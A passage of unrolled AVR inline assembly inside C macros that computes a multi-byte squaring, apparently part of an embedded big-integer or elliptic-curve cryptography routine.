r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r13, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r4, r3 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r5, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r5, r3 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r6, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r14, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r5, r4 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r6, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r4 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r7, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r15, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r6, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r7, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r8, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r16, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r7, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r8, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r8, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r9, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r17, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r8, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r9, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r9, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r10, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r18, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r9, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r10, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r11, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r19, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r10, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r11, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r11, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r12, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r20, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r12, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r13, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r13, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r14, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r21, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r14, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r15, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r15, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r16, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + 